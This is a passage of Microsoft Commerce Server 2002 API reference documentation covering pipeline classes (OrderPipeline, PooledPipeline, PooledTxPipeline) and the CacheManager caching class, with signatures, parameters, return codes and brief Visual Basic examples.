The OrderPipeline object is usually created in the Global.asax file and put into an application collection.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .Net Server family

Assembly: pipelinelib (in pipelinelib.dll)


OrderPipeline Methods (PIA)

Methods

Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


OrderPipeline.LoadPipe Method (PIA)

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]

using Microsoft.CommerceServer.Interop;

…

public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file name.
[C#]
pszFileName
A string containing the pipeline configuration file name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file designated for transactions (for use with the MtsTxPipeline or PooledTxPipeline objects).

[Visual Basic .NET]

Example

' pOrdPipeline is a Commerce.OrderPipeline object
errVal = pOrdPipeline.Load("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .Net Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

OrderPipeline Class

OrderPipeline.OrderExecute

OrderPipeline.SetLogFile


OrderPipeline.OrderExecute Method (PIA)

Use this method to run the stages in the pipeline configuration file that was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function OrderExecute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]

using Microsoft.CommerceServer.Interop;

…

int OrderExecute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites.
pdispOrder
A reference to a Dictionary object, usually an OrderForm object. This is the Order dictionary that will be used by the pipeline.
pdispContext
A reference to a Dictionary object. This is the Context dictionary that will be used by the pipeline.
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
lMode
An int indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. Commerce Server 2002 sites should set this parameter to one (1).

pdispOrder

An object containing a Dictionary object (typically an OrderForm object). This is the Order dictionary that will be used by the pipeline.

pdispContext

An object typically containing a Dictionary object. This is the Context dictionary that will be used by the pipeline.

lFlags

An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer indicating whether there were warnings or errors detected by components in the pipeline. See the Exceptions section for more details.

[C#]

This method returns an int value indicating whether or not it completed successfully.

The int value returned is set to one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

[Visual Basic .NET]

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

In addition, the method returns one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

[C#] This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The lMode parameter is included only for backward compatibility with sites created in Site Server 2.0. In Site Server 3.0 Commerce Edition and later, the selection of pipeline stages is made by loading an appropriate pipeline configuration file with the LoadPipe method. Commerce Server 2002 applications should use the value one (1) for this parameter; zero (0) will cause no stages to run.

[Visual Basic .NET]

Example

' pOrdPipeline is a Commerce.OrderPipeline object
' lMode is a Long
' dOrder and dContext are Commerce.Dictionary objects
errVal = pOrdPipeline.Execute(l, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .Net Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

OrderPipeline Class

OrderPipeline.LoadPipe

OrderPipeline.SetLogFile


OrderPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment. It degrades performance and can compromise the security of credit card numbers in non-set transactions.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]

using Microsoft.CommerceServer.Interop;

…

public void SetLogFile(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

[Visual Basic .NET]

Example

' pOrdPipeline is a Commerce.OrderPipeline object
errVal = pOrdPipeline.SetLogFile("CustomShipping.log")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .Net Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

OrderPipeline Class

OrderPipeline.LoadPipe

OrderPipeline.OrderExecute


PooledPipeline Class (PIA)

Use this object to run a Microsoft Commerce Server 2002 pipeline configuration file. The pipeline may be an Order Processing pipeline (OPP).

The PooledPipeline object uses COM+ object pooling to greatly increase the loading speed of pipelines, where the contained pipeline components support object pooling. For more information about pooled pipelines, see Pooled Pipelines.

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The PooledPipeline should be created on each Active Server Pages (ASP) page in which it is used rather than being held in Application or Sessions scope.

In general, use the PooledPipeline object only in production Web sites; use the MtsPipeline object when developing the site. If you use the PooledPipeline object during development, you will need to stop and restart Internet Information Services (IIS) to force the .pcf files to be re-read when you change them.

When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_POOLABLE, to the component to make it poolable.

The PooledPipeline object is registered under COM+ as "transactions not supported." Use this pipeline where transactions are not needed. For more information about transactions and pipelines, see Pipeline Basics.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)


PooledPipeline Methods (PIA)

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


PooledPipeline.Execute Method (PIA)

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Execute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]

using Microsoft.CommerceServer.Interop;

…

public int Execute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with previous versions of Commerce Server. Specify 1 for this parameter.
pdispOrder
A reference to a business Object (typically a Dictionary object or an OrderForm object).
pdispContext
A reference to a secondary business Object (typically a context dictionary).
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
lMode
A int indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with previous versions of Commerce Server. Specify 1 for this parameter.
pdispOrder
An object containing a Dictionary object (typically an OrderForm object). The Order dictionary will be used by the pipeline.

pdispContext

An object typically containing a Dictionary object. The Context dictionary will be used by the pipeline.

lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET]

If this method completes successfully, it returns an Integer indicating whether warnings or errors were detected by components in the pipeline. See the Exceptions section for more details.

In addition, the method returns one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.
[C#]

This method returns an int value indicating whether it completed successfully. See the Exceptions section for more details.

The int value returned is set to one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dOrder, dContext are Commerce.Dictionary objects
' pPooledPipeline is a Commerce.PooledPipeline object

errVal = pPooledPipeline.Execute(1, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledPipeline Class

PooledPipeline.LoadPipe

PooledPipeline.SetLogFile


PooledPipeline.LoadPipe Method (PIA)

Use this method to load a pipeline configuration file (.pcf) into a pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]

using Microsoft.CommerceServer.Interop;

…

public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file (.pcf) name.
[C#]
pszFileName
A string containing the pipeline configuration file (.pcf) name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file that is designated to be used for transactions (for use in MtsTxPipeline or PooledTxPipeline).

[Visual Basic .NET]

Example

' pPooledPipeline is a Commerce.PooledPipeline object

errVal = pPooledPipeline.LoadPipe("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledPipeline Class

PooledPipeline.Execute

PooledPipeline.SetLogFile


PooledPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be enabled in a production environment. It degrades performance and compromises the security of credit card numbers in non-set transactions. The file system must be configured to allow the process running the pipeline to have write access to the specified path.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]

using Microsoft.CommerceServer.Interop;

…

public void SetLogFile(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values that each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline.

[Visual Basic .NET]

Example

' pPooledPipeline is a Commerce.PooledPipeline object

errVal = pPooledPipeline.SetLogFile("CustomShipping.log")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledPipeline Class

PooledPipeline.Execute

PooledPipeline.LoadPipe


PooledTxPipeline Class (PIA)

Use this object to run a Microsoft Commerce Server 2000 pipeline. The pipeline may be an Order Processing pipeline (OPP). Use in place of the PooledPipeline object where you need transactions.

The PooledTxPipeline object uses COM+ object pooling to greatly increase the loading speed of pipelines. For more information about pooled pipelines, see Pooled Pipelines.

Methods

Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The PooledTxPipeline object is registered under COM+ as "transactions required." Use this pipeline where transactions are needed. For more information about transactions and pipelines, see Pipeline Basics.

The Microsoft Distributed Transaction Coordinator (MSDTC) service must be running in order to use the PooledTxPipeline object.

To verify that the Distributed Transaction Coordinator service is running

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. Scroll to Distributed Transaction Coordinator and verify that the Status is Started.

In general, use the PooledTxPipeline object only in production Web sites; use the MtsPipeline object when developing the site. If you use the PooledTxPipeline object during development, you will need to stop and restart Internet Information Services (IIS) to force the .pcf files to be re-read when you change them.

The PooledPipeline object should be created on each ASP page in which it is used rather than being held in Application or Session scope.

When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_POOLABLE, to the component to make it poolable.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)


PooledTxPipeline Methods (PIA)

Methods

Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


PooledTxPipeline.Execute Method (PIA)

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Execute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]

using Microsoft.CommerceServer.Interop;

…

public int Execute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with previous versions of Commerce Server. Specify 1 (one) for this parameter.
pdispOrder
A reference to a business Object (typically a Dictionary object or an OrderForm object). The Order dictionary that will be used by the pipeline.
pdispContext
A reference to a secondary business Object (typically a context dictionary object).
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
lMode
A int integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with previous versions of Commerce Server. Specify 1 (one) for this parameter.
pdispOrder
An object containing a Dictionary object (typically an OrderForm object). The Order dictionary that will be used by the pipeline.

pdispContext

An object typically containing a Dictionary object. The Context dictionary that will be used by the pipeline.

lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET]

If this method completes successfully, it returns an Integer value indicating whether components in the pipeline detected warnings or errors. See the Exceptions section for more details.

In addition, the method returns one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.
[C#]

This method returns an int value indicating whether or not it completed successfully. See the Exceptions section for more details.

The int value returned is set to one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dOrder, dContext are Commerce.Dictionary objects
' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.Execute(1, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledTxPipeline Class

PooledTxPipeline.LoadPipe

PooledTxPipeline.SetLogFile


PooledTxPipeline.LoadPipe Method (PIA)

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]

using Microsoft.CommerceServer.Interop;

…

public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file (.pcf) name.
[C#]
pszFileName
A string containing the pipeline configuration file (.pcf) name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file that is not designated to be used for transactions (for use in MtsPipeline or PooledPipeline).

[Visual Basic .NET]

Example

' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.LoadPipe("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledTxPipeline Class

PooledTxPipeline.Execute

PooledTxPipeline.SetLogFile


PooledTxPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be enabled in a production environment. It degrades performance and could compromise the security of credit card numbers in non-set transactions. File systems must be configured to allow the process running the pipeline to have write access to the specified path.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]

using Microsoft.CommerceServer.Interop;

…

public void SetLogFile(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values that each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

The SetLogFile method should be called immediately before executing a pipeline.

Calling this method with an empty string turns off logging.

[Visual Basic .NET]

Example

' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.SetLogFile("CustomShipping.log")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledTxPipeline Class

PooledTxPipeline.Execute

PooledTxPipeline.LoadPipe


Microsoft.CommerceServer.Interop.Caching

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop namespace.

Class | Description
CacheManager | Provides generic caching services.
ContentList | Contains a representation of each content item eligible for a given request for content. Also provides services to Content Selection Framework (CSF) components such as filtering and sorting.
ContentListFactory | Allows creation of ContentList objects, and stores data shared by those objects.
ContentListSchema | Allows manipulation of the schema for a ContentListFactory object.
LRUCache | Provides a least recently used (LRU) cache for the CacheManager object. It stores a limited number of entries and sorts them according to the least recently used element.
RowCollection | Allows enumeration of the rows returned from the ActiveRows and AllRows properties, and the Search method, of a ContentList object, and from the AllRows property and the Search method of a ContentListFactory object.


CacheManager Class (PIA)

Use this object to establish and use a collection of data caches. Each data cache is either a Dictionary object or an LRUCache object. You can specify which one you would like to use by setting the CacheObjectProgID property.

Methods

Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.

Properties

Property | Type | Description
AppUrl | String | Stores the full Uniform Resource Locator (URL) of the application. This property is read/write.
CacheObjectProgId | String | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | Object | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | String | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | Integer | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | Integer | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | Object | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | String | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


CacheManager Methods (PIA)

Methods

Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.


CacheManager.GetCache Method (PIA)

Use this method to retrieve either the Dictionary or LRUCache object for the specified cache name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function GetCache(
 bstrName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public object GetCache (
 string bstrName
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of the cache to be retrieved.
[C#]
bstrName
A string that contains the name of the cache to be retrieved.

Return Values

The data cache Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following COM exception has a special meaning in this method:

S_FALSE
An index already exists on the column.

Remarks

This method is designed to be lightweight and fast. It is commonly called several times on any given ASP page.

The first time the GetCache method or the RefreshCache method is called, the data cache object is created and the configured CacheLoader component is invoked to populate it with data. Subsequent calls to the GetCache method may return the same cache object or a new cache object that is created when the cache is refreshed.

If the first call to the GetCache method for a particular cache results in a failed refresh, then the CacheManager object will not immediately retry a refresh when more GetCache method calls are made for the same cache. This is to avoid recurring timeouts that might bring down a system, for example if a database connection becomes temporarily unavailable. In this failure scenario, subsequent calls to the GetCache method will return an error indicating that the cache load failed and will not be retried until the refresh interval has elapsed or until the RefreshCache method is explicitly called.

After a cache has successfully been created, if a subsequent refresh of the cache fails, then the existing cache object is returned until a later refresh succeeds. The CacheManager object provides high availability to cache data at the expense of ensuring the cached data is up-to-date.

[Visual Basic .NET]

Example

'oMyCache is an object
'strMyCacheName is a String containing the name of an existing cache.
oMyCache = myCacheManager.GetCache(strMyCacheName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.RefreshCache Method (PIA)

Use this method to force an immediate refresh of a data cache Dictionary object. This method is synchronous, not returning to the caller until the specified data cache is refreshed.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub RefreshCache(
 bstrName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void RefreshCache(
 string bstrName
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of the data cache to be refreshed.
[C#]
bstrName
A string that contains the name of the data cache to be refreshed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the specified cache is in the middle of being refreshed when the RefreshCache method is invoked, presumably by the background timer thread or a different foreground thread, this method will wait until the refresh operation is complete and then return. It will not result in another refresh operation.

[Visual Basic .NET]

Example

'strMyCacheName is a String containing the name of an existing cache.
myCacheManager.RefreshCache(strMyCacheName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager Properties (PIA)

Properties

Property | Type | Description
AppUrl | String | Stores the full Uniform Resource Locator (URL) of the application. This property is read/write.
CacheObjectProgId | String | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | Object | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | String | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | Integer | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | Integer | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | Object | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | String | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.


CacheManager.AppUrl Property (PIA)

The AppUrl property is a read/write String that contains the full Uniform Resource Locator (URL) of the application.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property AppUrl As String
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public string AppUrl {get; set;}

Property Value

A string that contains the full URL of the application.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The default value for this property is the URL of the current Internet Information Services (IIS) 5.0 application. Depending on the URL used to access the IIS application the first time after it is started, this URL could contain the special host name "localhost," preventing it from being accessed externally. Therefore, it is best to explicitly set this property to the full URL of the IIS application.

Unlike the other properties of the CacheManager object that are set on a per-cache basis, the AppUrl property is a global property. The AppUrl property is generally used to register all of the caches running in a Web server farm so that they can be managed without requiring explicit registration by an administrator. The Publish Campaign module in Commerce Server Business Desk is an example of this.

If the cache object is a Dictionary object, then the value of this property is passed to the CacheLoader and CacheWriter objects during each cache refresh. It will be put in the _AppUrl key in the Dictionary object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.CacheObjectProgId Property (PIA)

The CacheObjectProgId property is a read/write String that contains the name of the object to be used internally to perform caching functions for this CacheManager object. It also determines the type of object returned by the GetCache method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property CacheObjectProgId(
  bstrName As String
) As String
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public string get_CacheObjectProgId(
  string bstrName
);

Put method:

public void set_CacheObjectProgId(
  string bstrName,
  string pbstrProgId
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of the cache object.
[C#]
bstrName
A string that contains the name of the cache object.
pbstrProgId
When setting the property, a string that contains the ProgID of the cache object.
When getting the property, a pointer to a string used to return the ProgID of the cache object.

Return Values

When getting, a string containing the ProgID.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

By default, the CacheManager object will have Commerce.Dictionary set as the value for this property.

[C#] The get_CacheProjectProgID and set_CacheProjectProgId methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.LoaderConfig Property (PIA)

The LoaderConfig property is a read/write reference to a Dictionary object that contains configuration information for the Loader component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property LoaderConfig(
 bstrName As String
) As Object
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public object get_LoaderConfig(
 string bstrName
);

Put method:

public void set_LoaderConfig(
 string bstrName,
 object ppdispConfig
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which Loader component configuration information is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which Loader component configuration information is being provided or retrieved.
ppdispConfig
When setting the property, a Dictionary object that contains the Loader component configuration information.
When getting the property, the return value is the Dictionary object that contains the configuration information.

Return Values

When getting, an object (typically a Dictionary) with the configuration.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property, a Dictionary object containing configuration information for a particular Loader component, will be passed to that Loader component when it is created to load the associated data cache. When you set this property, the dictionary is shallow cloned and then the CacheManager object stores the clone of the dictionary. This is as opposed to simply storing a reference to the dictionary. Shallow clone means that scalars in the dictionary are copied by value, but other objects in the dictionary are copied by reference. The Loader component needs to implement the IPipelineComponentAdmin interface in order to read the configuration values from the dictionary, and in particular, the SetConfigData method of that interface. The Dictionary object identified by this property is passed to the newly created Loader component using the SetConfigData method.

[C#] The get_LoaderConfig and set_LoaderConfig methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.LoaderProgId Property (PIA)

The LoaderProgId property is a read/write string that contains the ProgID of the component intended for use in populating the cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property LoaderProgId(
 bstrName As String
) As String
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public string get_LoaderProgId(
 string bstrName
);

Put method:

public void set_LoaderProgId(
 string bstrName,
 string pbstrProgId
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which the Loader component ProgID is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which the Loader component ProgID is being provided or retrieved.
pbstrProgId
When setting the property, a string that contains the ProgID of the Loader component.

Return Values

When getting, a string with the ProgId.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[C#]

Remarks

The get_LoaderProgId and set_LoaderProgId methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.RefreshInterval Property (PIA)

The RefreshInterval property is a read/write Integer that specifies the approximate number of seconds between automatic cache refresh operations on a specified cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property RefreshInterval(
 bstrName As String
) As Integer
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public int get_RefreshInterval(
 string bstrName
);

Put method:

public void set_RefreshInterval(
 string bstrName,
 int plRefresh
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which the refresh interval is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which the refresh interval is being provided or retrieved.
plRefresh
When setting the property, an int that contains the new refresh interval value.

Return Values

When getting, an int with the refresh interval.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A refresh interval value of zero (0) means that the cache is never refreshed automatically.

The default refresh interval value is zero (0).

The value is a measurement of the number of seconds between automatic cache refresh operations.

[C#] The get_RefreshInterval and set_RefreshInterval methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

